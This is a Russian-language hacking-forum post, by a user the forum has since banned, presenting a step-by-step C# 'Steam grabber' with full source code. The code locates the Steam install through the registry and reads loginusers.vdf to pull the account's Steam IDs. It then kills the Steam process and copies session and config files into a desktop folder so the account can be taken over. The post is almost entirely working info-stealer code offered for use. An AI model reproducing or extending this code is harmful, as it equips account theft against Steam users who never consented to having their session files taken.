C# Стим граббер универсал by Antlion

Забаненный
Статус
Оффлайн
Регистрация
26 Июн 2018
Сообщения
8
Реакции[?]
3
Поинты[?]
0
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Сегодня Я вам покажу как можно грабить файлы стим, универсальный способ на языке c#
Для начала создадим класс GetDirPath где будем хранить переменные для сохранений стим данных =)

Код:
namespace Steam_Grabber
{
    using System;
    using System.IO;

    public class GetDirPath
    {
        public static readonly string DesktopDir = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory);
        public static readonly string Steam = Path.Combine(DesktopDir, "Steam");
    }
}
Следующим шагом будет получения пути до папки Steam

Код:
namespace Steam_Grabber
{
    using Microsoft.Win32;
    using System;

    public class SteamPath
    {
        private static readonly string SteamPath_x64 = @"SOFTWARE\Wow6432Node\Valve\Steam";
        private static readonly string SteamPath_x32 = @"Software\Valve\Steam";
        private static readonly bool True = true, False = false;

        public static string GetLocationSteam(string Inst = "InstallPath", string Source = "SourceModInstallPath")
        {
            using (var BaseSteam = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, (Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32)))
            {
                using (RegistryKey Key = BaseSteam.OpenSubKey(SteamPath_x64, (Environment.Is64BitOperatingSystem ? True : False)))
                {
                    using (RegistryKey Key2 = BaseSteam.OpenSubKey(SteamPath_x32, (Environment.Is64BitOperatingSystem ? True : False)))
                    {
                        return Key?.GetValue(Inst)?.ToString() ?? Key2?.GetValue(Source)?.ToString();
                    }
                }
            }
        }
    }
}
Теперь запилим класс SteamConverter откуда сможем получать ID и.т.п
Код:
namespace Steam_Grabber
{
    using System;
    using System.Globalization;
    using System.Text.RegularExpressions;

    public class SteamConverter
    {
        #region Regex Steam

        public const string
            STEAM2 = "^STEAM_0:[0-1]:([0-9]{1,10})$",
            STEAM32 = "^U:1:([0-9]{1,10})$",
            STEAM64 = "^7656119([0-9]{10})$",
            STEAMPREFIX = "U:1:",
            STEAMPREFIX2 = "STEAM_0:";

        #endregion

        public const string HTTPS = "https://steamcommunity.com/profiles/";
        private static readonly long Num64 = 76561197960265728, Num32 = 76561197960265729;
        private static readonly int Number0 = 0;

        public static long FromSteam2ToSteam64(string accountId)
        {
            if (!Regex.IsMatch(accountId, STEAM2))
            {
                return Number0;
            }
            return Num64 + Convert.ToInt64(accountId.Substring(0xA)) * 0x2 + Convert.ToInt64(accountId.Substring(0x8, 0x1));
        }

        public static long FromSteam32ToSteam64(long steam32)
        {
            if (steam32 < 0x1 || !Regex.IsMatch($"{STEAMPREFIX}{steam32.ToString(CultureInfo.InvariantCulture)}", STEAM32))
            {
                return Number0;
            }
            return steam32 + Num64;
        }

        public static long FromSteam64ToSteam32(long communityId)
        {
            if (communityId < Num32 || !Regex.IsMatch(communityId.ToString(CultureInfo.InvariantCulture), STEAM64))
            {
                return Number0;
            }
            return communityId - Num64;
        }

        public static string FromSteam64ToSteam2(long communityId)
        {
            if (communityId < Num32 || !Regex.IsMatch(communityId.ToString(CultureInfo.InvariantCulture), STEAM64))
            {
                return string.Empty;
            }
            communityId -= Num64;
            communityId -= communityId % 0x2;
            var text = $"{STEAMPREFIX2}{communityId % 2}:{communityId / 0x2}";
            if (!Regex.IsMatch(text, STEAM2))
            {
                return string.Empty;
            }
            return text;
        }
    }
}
Теперь нам нужен класс для получения профиля со стима
Код:
namespace Steam_Grabber
{
    using System;
    using System.Globalization;
    using System.IO;
    using System.Text;
    using System.Text.RegularExpressions;

    public class SteamProfiles
    {
        private static readonly string LoginFile = Path.Combine(SteamPath.GetLocationSteam(), @"config\loginusers.vdf");
        private static StringBuilder SB = new StringBuilder();

        public static string GetSteamID()
        {
            try
            {
                if (!File.Exists(LoginFile))
                {
                    return null;
                }
                else
                {
                    var ProfileNum = File.ReadAllLines(LoginFile)[2].Split('"')[1];
                    if (Regex.IsMatch(ProfileNum, SteamConverter.STEAM64))
                    {
                        var ConvertID = SteamConverter.FromSteam64ToSteam2(Convert.ToInt64(ProfileNum));
                        var ConvertSteam3 = $"{SteamConverter.STEAMPREFIX}{SteamConverter.FromSteam64ToSteam32(Convert.ToInt64(ProfileNum)).ToString(CultureInfo.InvariantCulture)}";
                        SB.AppendLine($"Steam2 ID: {ConvertID}");
                        SB.AppendLine($"Steam3 ID x32: {ConvertSteam3}");
                        SB.AppendLine($"Steam3 ID x64: {ProfileNum}");
                        SB.AppendLine($"{SteamConverter.HTTPS}{ProfileNum}");
                        return SB.ToString();
                    }
                    else { return null; }
                }
            }
            catch { return null; }
        }
    }
}
Так же создадим класс для копирования файлов стим ( не актуально, но все же )
Код:
namespace Steam_Grabber
{
    using System;
    using System.Diagnostics;
    using System.IO;

    public class GetSteamFiles
    {
        public static void Copy(string Expansion, string ConfigFiles, string Proc, string Name, string SteamID)
        {
            try
            {
                var SaveConfig = Path.Combine(GetDirPath.Steam, Name);
                var LocalSteamDir = Path.Combine(SteamPath.GetLocationSteam(), Name);

                if (Directory.Exists(SteamPath.GetLocationSteam()))
                {
                    try
                    {
                        foreach (Process process in Process.GetProcessesByName(Proc))
                        {
                            try
                            {
                                process.Kill();
                            }
                            catch { break; }
                            break;
                        }
                    }
                    catch { }
                    if (!Directory.Exists(GetDirPath.Steam))
                    {
                        Directory.CreateDirectory(GetDirPath.Steam);
                        foreach (var file in Directory.GetFiles(SteamPath.GetLocationSteam(), Expansion))
                        {
                            try
                            {
                                File.Copy(file, Path.Combine(GetDirPath.Steam, Path.GetFileName(file)));
                            }
                            catch { }
                        }
                        if (!Directory.Exists(SaveConfig))
                        {
                            Directory.CreateDirectory(SaveConfig);
                            File.AppendAllText(Path.Combine(GetDirPath.Steam, SteamID), SteamProfiles.GetSteamID()); // тут создаём файл с полученным SteamID
                            foreach (var file2 in Directory.GetFiles(LocalSteamDir, ConfigFiles))
                            {
                                try
                                {
                                    File.Copy(file2, Path.Combine(SaveConfig, Path.GetFileName(file2)));
                                }
                                catch { }
                            }
                        }
                    }
                }
            }
            catch (UnauthorizedAccessException) { }
            catch (IOException) { }
            catch (ArgumentException) { }
        }
    }
}
Ну и под финал в <Main> вызовим наш граббер )
Код:
namespace Steam_Grabber
{
    internal static partial class Program
    {
        private static void Main() => 
            GetSteamFiles.Copy("*.", "*.vdf", "Steam", "config", "SteamID.txt");
    }
}
Ну и разумеется весь готовый проект Вы можете посмотреть на гитхабе:
Пожалуйста, авторизуйтесь для просмотра ссылки.
 
Сверху Снизу